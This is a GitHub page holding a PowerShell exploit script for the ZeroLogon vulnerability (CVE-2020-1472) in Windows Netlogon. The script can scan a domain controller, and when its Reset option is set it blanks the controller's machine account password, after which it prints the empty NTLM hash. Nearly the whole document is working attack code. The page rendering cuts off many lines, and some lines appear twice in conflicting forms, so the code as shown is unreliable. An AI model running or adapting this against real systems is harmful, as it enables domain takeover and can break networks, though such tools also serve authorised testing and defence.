☰   ⊙ GitHub   **Sign in**

📓 BC-SECURITY / **Invoke-ZeroLogon**   Public   🔔 Notifications   ⑁ Fork 42   ☆ Star 214

<> **Code**   ⊙ Issues   ⑁ Pull requests   ⊙ Actions   ⊞ Projects   ⓘ Security   ⬓ Insights

Invoke-ZeroLogon / **Invoke-ZeroLogon.ps1** ⧉   ⋯

Executable File · 185 lines (150 loc) · 6.94 KB

Code   Blame   Raw ⧉ ⬇ <>

```powershell
function Invoke-Zerologon{
<#
.SYNOPSIS

This script can be run in two modes currently.
1. When the reset parameter is set to True, the script will attempt to reset the target computer's
2. By default, reset is set to false and will simply scan if the target computer is vulnerable to t
WARNING: Resetting the password of a Domain Controller is likely to break the network. DO NOT use t


This code was heavily adapted from the C# implementation by the NCC Group's Full Spectrum Attack Si
https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

The original CVE was published by Secura
https://www.secura.com/blog/zero-logon

Author: Hubbl3, Twitter: @Hubbl3
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: .1

.Parameter FQDN
Provide the fully qualified domain name

```

```
27      .Parameter Reset
28      Boolean used to determine if the script should attempt to reset the target computer's password
29
30      #>
31      [CmdletBinding()]
32      Param(
33          [Parameter(Position = 1, Mandatory = $true)]
34          [string]
35          $fqdn,
36
37          [Parameter(Position = 2)]
38          [boolean]
39          $Reset
40      )
41
42          $zerologon = @"
43          using System;
44          using System.Runtime.InteropServices;
45
46          namespace ZeroLogon
47          {
48              public class Netapi32
49              {
50                  public enum NETLOGON_SECURE_CHANNEL_TYPE : int
51                  {
52                      NullSecureChannel = 0,
53                      MsvApSecureChannel = 1,
54                      WorkstationSecureChannel = 2,
55                      TrustedDnsDomainSecureChannel = 3,
56                      TrustedDomainSecureChannel = 4,
57                      UasServerSecureChannel = 5,
58                      ServerSecureChannel = 6
59                  }
60
61                  [StructLayout(LayoutKind.Explicit, Size = 516)]
62                  public struct NL_TRUST_PASSWORD
63                  {
64                      [FieldOffset(0)]
65                      public ushort Buffer;
66
67                      [FieldOffset(512)]
68                      public uint Length;
69                  }
70
71                  [StructLayout(LayoutKind.Explicit, Size = 12)]
72                  public struct NETLOGON_AUTHENTICATOR
```

```
 73                {
 74                    [FieldOffset(0)]
 75                    public NETLOGON_CREDENTIAL Credential;
 76
 77                    [FieldOffset(8)]
 78                    public uint Timestamp;
 79                }
 80
 81                [StructLayout(LayoutKind.Sequential)]
 82                public struct NETLOGON_CREDENTIAL
 83                {
 84                    public sbyte data;
 85                }
 86
 87                [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
 88                public static extern int I_NetServerReqChallenge(
 89                    string PrimaryName,
 90                    string ComputerName,
 91                    ref NETLOGON_CREDENTIAL ClientChallenge,
 92                    ref NETLOGON_CREDENTIAL ServerChallenge
 93                    );
 94
 95                [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
 96                public static extern int I_NetServerAuthenticate2(
 97                    string PrimaryName,
 98                    string AccountName,
 99                    NETLOGON_SECURE_CHANNEL_TYPE AccountType,
100                    string ComputerName,
101                    ref NETLOGON_CREDENTIAL ClientCredential,
102                    ref NETLOGON_CREDENTIAL ServerCredential,
103                    ref ulong NegotiateFlags
104                    );
105
106                [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
107                public static extern int I_NetServerPasswordSet2(
108                    string PrimaryName,
109                    string AccountName,
110                    NETLOGON_SECURE_CHANNEL_TYPE AccountType,
111                    string ComputerName,
112                    ref NETLOGON_AUTHENTICATOR Authenticator,
113                    out NETLOGON_AUTHENTICATOR ReturnAuthenticator,
114                    ref NL_TRUST_PASSWORD ClearNewPassword
115                    );
116            }
117
118        public class Kernel32
```

```
118         public class Kernel32
119         {
120             [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
121             public static extern IntPtr LoadLibrary(string lpFileName);
122
123             [DllImport("kernel32.dll", SetLastError = true)]
124             public static extern bool VirtualProtect(
125                 IntPtr lpAddress,
126                 uint dwSize,
127                 uint flNewProtect,
128                 out uint lpflOldProtect
129             );
130
131             [DllImport("kernel32.dll")]
132             public static extern bool ReadProcessMemory(IntPtr hProcess, long lpBaseAddress, byte[]
133
134             public struct MODULEINFO
135             {
136                 public IntPtr lpBaseOfDll;
137                 public uint SizeOfImage;
138                 public IntPtr EntryPoint;
139             }
140             [DllImport("kernel32.dll", SetLastError = true)]
141             public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint
142
143             [DllImport("psapi.dll", SetLastError = true)]
144             public static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MOD
145         }
146     }
147 "@;
148
149
150     Add-Type $zerologon
151
152     $hostname = $fqdn.split(".")[0]
153
154     $ClientChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL
155     $ServerChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL
156     [Uint64]$Flags = [Uint64]0x212fffff
157
158     for( $i = 0; $i -lt 2000; $i ++){
159         if([ZeroLogon.Netapi32]::I_NetServerReqChallenge($fqdn, $hostname, [Ref] $ClientChallenge,
160             Write-Host "Can't complete server challenge. check FQDN"
161             return;
162             }
163         write-host "=" -NoNewline
164         if([ZeroLogon.Netapi32]::I_NetServerAuthenticate3($fqdn, $hostname+"$", [ZeroLogon.Netapi32
```

```powershell
164            if([ZeroLogon.Netapi32]::I_NetServerAuthenticate2($fqdn, $hostname+"$",[ZeroLogon.Netapi32+
165                Write-Host "`nServer is vulnerable";
166
167                $authenticator = New-Object ZeroLogon.Netapi32+NETLOGON_AUTHENTICATOR;
168                $EmptyPassword = New-Object ZeroLogon.Netapi32+NL_TRUST_PASSWORD;
169                if ($reset){
170
171                    if([ZeroLogon.Netapi32]::I_NetServerPasswordSet2($fqdn, $hostname+"$", [ZeroLogon.N
172                        Write-Host "password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0";
173                        return;
174                        }
175                    write-Host "Failed to reset password"
176                    return;
177                }
178
179                return;
180            }
181        }
182    Write-Host "Host appears to be patched";
183
184
185    }
```